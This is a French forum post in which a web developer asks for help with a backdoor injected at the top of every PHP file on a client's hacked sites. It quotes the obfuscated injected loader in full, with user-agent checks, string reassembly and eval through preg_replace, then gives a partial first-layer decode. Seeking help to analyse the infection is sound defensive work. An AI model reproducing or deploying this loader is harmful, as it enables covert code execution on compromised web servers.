[PHP]Backdoor?

[Booster2ooo]

Bonjour à tous,

Un des clients de la boite pour laquelle je travaille s'est vu h4x0r3d tous ses sites. Au début de chaque php, un script se retrouvait:

Code PHP :


<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $ckhabqgpbk = 'opD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjy28>>%x5c%x7822:ftmbg39*56A:>:8:|:c%x782f#0#%x5c%x782f*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hx5c%x7825))!gj!<*#cd2bge56+99386c6f+957%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%tjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x78ovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93evr#%x5c%x785cq%x5c%x7825c}X%x5c%x7824<!%x5c%x61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($n)-1);} @erf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]}x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825td825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x7825rN}#QwTW%x5c%x78]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfu7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~:!>#]y3g]61]y3f]63]y3:]68]y76#<%x!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860T%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!2]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c7825)!gj!|!*1?hmg%x5c%x7825)!gj!25hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^y%x5c%x7825)utjm!|!*5!#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%825%x5c%x785cSFWSFT%x5c%x7860%x5c%x~9{d%x5c%x7825:osvufs:~9%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7pusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%25)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:317]445]212]445]43]321]464x5c%x7878pmpusut!-#j0#!%x5c%x782f!8r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]2]y3d]51]y35]274]y4:]82]y%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5cQIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QU;#-#}+;%x5c%x7825-qp%x5c%x7825)!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*#41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tw24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<d]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%of.%x5c%x782f#@#%x5cvso!%x5c%x7825bss%x5c%x785csboe))187fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%w**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7mnui}&;zepc}A;~!}%x5c%x787f;!|!}{gj}l;33bq}k;opjudovg}%x5c%x787252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]27x5c%x7827&6<*rfs%x5c7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},,;osvufs}%x5c%x7827;x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x786CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%xpde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+A!osvufs!~<3,j%x5c%x78254l}%x5c%x7827;%x5c%x7825!<*#}_;#)3237860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x%x5c%x782f35.)1%x5c%x782fz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x72f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x562]38y]572]48y]#>m%x5c%x7!>!%x5c%x7825i%x5c%x7x5c%x787fw6*3qj%x5c%x78257>%x5c%x7822)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjud5tmw!>!#]y84]275]y83]273]y77825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c5ff2!>!bssbz)%x5c%x7824]%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827)%x5c%x7825j:>>1*!%x5c%x725z>3<!fmtf!%x5c%x7825%x7825)sutcvt-#w#)ldbqov>*ofm<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!x5c%x78257;utpI#7>%x5c%x78x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78sbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfuopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782sb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssf5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x786025%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x%x5c%x7825z>!tussfw)%x5%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x783:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5cv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7825N+#Qi%x5c%x785c1^W%x5c%x7825c7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c97-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT11M5]67]452]88]5]48]32M3]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x78272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)h0un>qp%x5c%x7825!|Z~!<#]58y]472]37y]672]48y]#>s%x5c%x7%x29%57%x65","%x65%166%x61%154%x78257-K)fujs%x5c%x7878X6<#o]o]Y%8257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**1c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x55c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y72f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofu%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#]y84]275]y83]248]y8314+9**-)1%x5c%x782f2986+7**^%x5c825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x775%156%x61"])))) { $GLOBALS["%x%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utf%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftfdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Q78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<o82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#7%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%6%x28%151%x6d%160%x6c%157%x64%145%x28%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%xc%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{efmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5cx5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsf4-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x585c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%!isset($GLOBALS["%x61%156%xe:55946-tr.984:75983:48984:71]K9]77]D4]782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pm|:*mmvo:>:iuhofm%x5c%x7825:-5p5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c%x78e%x5c%x78b%x5c%x7825w:!>,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepd%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x78**#sfmcnbs+yfeobz+sfwjid7]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPF825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782%x5c%x7827!hmg%x5c%x3]84]y31M6]y3e]81#%x5c%x782f#7T-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825tcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>#!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbgtpz)#]341]88M4P8]37]278]225]2if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x]256]y81]265]y72]254]y76#<%x5c%x7825c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#gx5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2pi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x786]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x785cq%x5c%x78257**^#:5597f-s.973:8297f:5297e:56-%x5c%x787281Ld]245]K2]285]Ke]53Ld]53]Kc]55L)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7876]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267ror_reporting(0); preg_replace("%x2f%50%x2e%526<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2bx7825h!>!%x5c%x7825tdz)%x5c%x7825bb#>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nb7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x4<!%x5c%x7825mm!>!#]y81]273]5>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tb!-#}#)fepmqnj!%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825e#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)u0ufldpt}X;%x5c%x7860msvd}R;*msv%xvctus)%x5c%x7825%x5c%x7824%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x%x782f%x5c%x7825r%x5c%x827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5mfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7UI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbekc%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7--%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x782x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x78260{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*W~%x5c%x7824<%x5c%x78e%x5c%x78b8;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{h#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O*#npd%x5c%x782f#)rrd<**2-4-bubE{h%x5c%x7825)su%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%14!>!#]y3d]51]y35]256]y76]7x22%51%x29%51%x29%73", NULL); }%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5cNJU,6<*27-SFGTOBSUOSVUFS,6<*ms/(.*)/epreg_replacezfkfjtcuvl'; $hqyivmnksq = explode(chr((250-206)),'7520,60,6643,27,5533,31,452,70,8524,46,4966,30,5975,36,9917,58,5910,65,3726,51,1094,33,6852,30,1127,58,2942,44,2651,68,9287,51,9448,66,9105,45,242,62,3383,64,2840,20,4996,34,4098,26,5187,49,5030,64,4729,70,6011,55,3554,37,4875,37,4233,44,6372,51,407,23,181,61,5236,35,8323,21,8235,39,8741,67,3199,40,7666,53,3047,41,4687,42,5467,66,2416,69,7105,46,10076,30,4610,48,8570,43,9614,64,5564,51,8051,69,9150,33,6481,50,8891,44,10031,45,1000,54,3591,43,304,37,9756,65,3139,23,8836,55,5094,42,7888,69,5795,64,6305,67,3972,29,1426,22,7197,20,1353,32,9891,26,7285,58,102,42,6934,47,9567,47,6808,44,8613,37,1916,31,9209,55,6531,57,82,20,9871,20,3865,60,6882,52,2362,20,2986,61,4912,23,7343,39,1768,34,7032,24,4329,40,8998,21,6709,69,1644,42,144,37,4369,47,1988,69,9386,62,2088,62,8685,56,4186,47,1947,41,1596,48,1537,35,2860,62,2057,31,3162,37,1054,40,1572,24,49,33,6066,66,6778,30,3088,51,6249,56,7434,57,8415,47,5615,70,9338,48,5424,43,7783,63,5271,50,0,49,522,60,2922,20,2719,65,9709,47,3777,64,4501,50,430,22,3661,65,1262,52,5371,21,7631,35,3634,27,8462,62,8120,65,3313,70,7151,46,1314,39,6981,51,1686,56,4001,50,4935,31,1847,44,3507,26,651,60,4277,52,8808,28,4824,51,3841,24,4416,62,8935,63,9183,26,9514,53,6423,58,778,39,9019,43,7580,51,5136,51,948,52,6190,59,2255,39,817,21,838,59,9975,25,1891,25,4551,59,9062,43,4658,29,3533,21,6588,55,7846,42,897,51,4478,23,3447,60,711,20,1385,41,8008,43,2210,45,2612,39,341,66,8344,37,1802,45,7217,30,6670,39,5859,51,8274,49,582,69,3264,49,8381,34,2294,68,8650,35,7247,38,5685,44,7491,29,2150,60,4799,25,1742,26,731,47,2382,34,3239,25,5392,32,9264,23,6132,58,1503,34,4051,47,3925,25,7719,64,2485,60,8185,50,2545,67,4124,62,3950,22,1185,41,9678,31,1226,36,5321,50,9821,50,1448,55,5729,66,2784,56,7056,49,7382,52,7957,51,10000,31'); $doxosmosqu=substr($ckhabqgpbk,(35952-25846),(21-14)); if (!function_exists('sfjxiftjkk')) { function sfjxiftjkk($fshqwsaush, $epnqztfbwe) { $bmheypqekw = NULL; for($vhfphhsyvc=0;$vhfphhsyvc<(sizeof($fshqwsaush)/2);$vhfphhsyvc++) { $bmheypqekw .= substr($epnqztfbwe, $fshqwsaush[($vhfphhsyvc*2)],$fshqwsaush[($vhfphhsyvc*2)+1]); } return $bmheypqekw; };} $fdypdjrucy="\x20\57\x2a\40\x77\157\x65\143\x6b\146\x78\165\x6e\163\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x31\55\x31\60\x34\51\x29\54\x20\143\x68\162\x28\50\x34\63\x34\55\x33\64\x32\51\x29\54\x20\163\x66\152\x78\151\x66\164\x6a\153\x6b\50\x24\150\x71\171\x69\166\x6d\156\x6b\163\x71\54\x24\143\x6b\150\x61\142\x71\147\x70\142\x6b\51\x29\51\x3b\40\x2f\52\x20\146\x70\162\x61\160\x6a\153\x72\162\x78\40\x2a\57\x20"; $lydvylpinc=substr($ckhabqgpbk,(48032-37919),(67-55)); $lydvylpinc($doxosmosqu, $fdypdjrucy, NULL); $lydvylpinc=$fdypdjrucy; $lydvylpinc=(498-377); $ckhabqgpbk=$lydvylpinc-1; ?><?php
 

Après une première couche de décode, ça ressemble à ceci:

Code PHP :


<?php if (!isset($GLOBALS["anuna"])) {
    $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
    if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?><?php $ckhabqgpbk = 'opD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjy28>>%x5c%x7822:ftmbg39*56A:>:8:|:c%x782f#0#%x5c%x782f*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hx5c%x7825))!gj!<*#cd2bge56+99386c6f+957%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%tjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x78ovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93evr#%x5c%x785cq%x5c%x7825c}X%x5c%x7824<!%x5c%x61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($n)-1);} @erf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]}x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825td825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x7825rN}#QwTW%x5c%x78]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfu7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~:!>#]y3g]61]y3f]63]y3:]68]y76#<%x!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860T%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!2]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c7825)!gj!|!*1?hmg%x5c%x7825)!gj!25hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^y%x5c%x7825)utjm!|!*5!#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%825%x5c%x785cSFWSFT%x5c%x7860%x5c%x~9{d%x5c%x7825:osvufs:~9%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7pusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%25)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:317]445]212]445]43]321]464x5c%x7878pmpusut!-#j0#!%x5c%x782f!8r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]2]y3d]51]y35]274]y4:]82]y%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5cQIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QU;#-#}+;%x5c%x7825-qp%x5c%x7825)!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*#41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tw24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<d]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%of.%x5c%x782f#@#%x5cvso!%x5c%x7825bss%x5c%x785csboe))187fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%w**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7mnui}&;zepc}A;~!}%x5c%x787f;!|!}{gj}l;33bq}k;opjudovg}%x5c%x787252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]27x5c%x7827&6<*rfs%x5c7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},,;osvufs}%x5c%x7827;x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x786CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%xpde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+A!osvufs!~<3,j%x5c%x78254l}%x5c%x7827;%x5c%x7825!<*#}_;#)3237860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x%x5c%x782f35.)1%x5c%x782fz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x72f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x562]38y]572]48y]#>m%x5c%x7!>!%x5c%x7825i%x5c%x7x5c%x787fw6*3qj%x5c%x78257>%x5c%x7822)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjud5tmw!>!#]y84]275]y83]273]y77825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c5ff2!>!bssbz)%x5c%x7824]%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827)%x5c%x7825j:>>1*!%x5c%x725z>3<!fmtf!%x5c%x7825%x7825)sutcvt-#w#)ldbqov>*ofm<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!x5c%x78257;utpI#7>%x5c%x78x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78sbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfuopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782sb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssf5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x786025%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x%x5c%x7825z>!tussfw)%x5%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x783:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5cv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7825N+#Qi%x5c%x785c1^W%x5c%x7825c7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c97-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT11M5]67]452]88]5]48]32M3]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x78272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)h0un>qp%x5c%x7825!|Z~!<#]58y]472]37y]672]48y]#>s%x5c%x7%x29%57%x65","%x65%166%x61%154%x78257-K)fujs%x5c%x7878X6<#o]o]Y%8257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**1c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x55c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y72f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofu%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q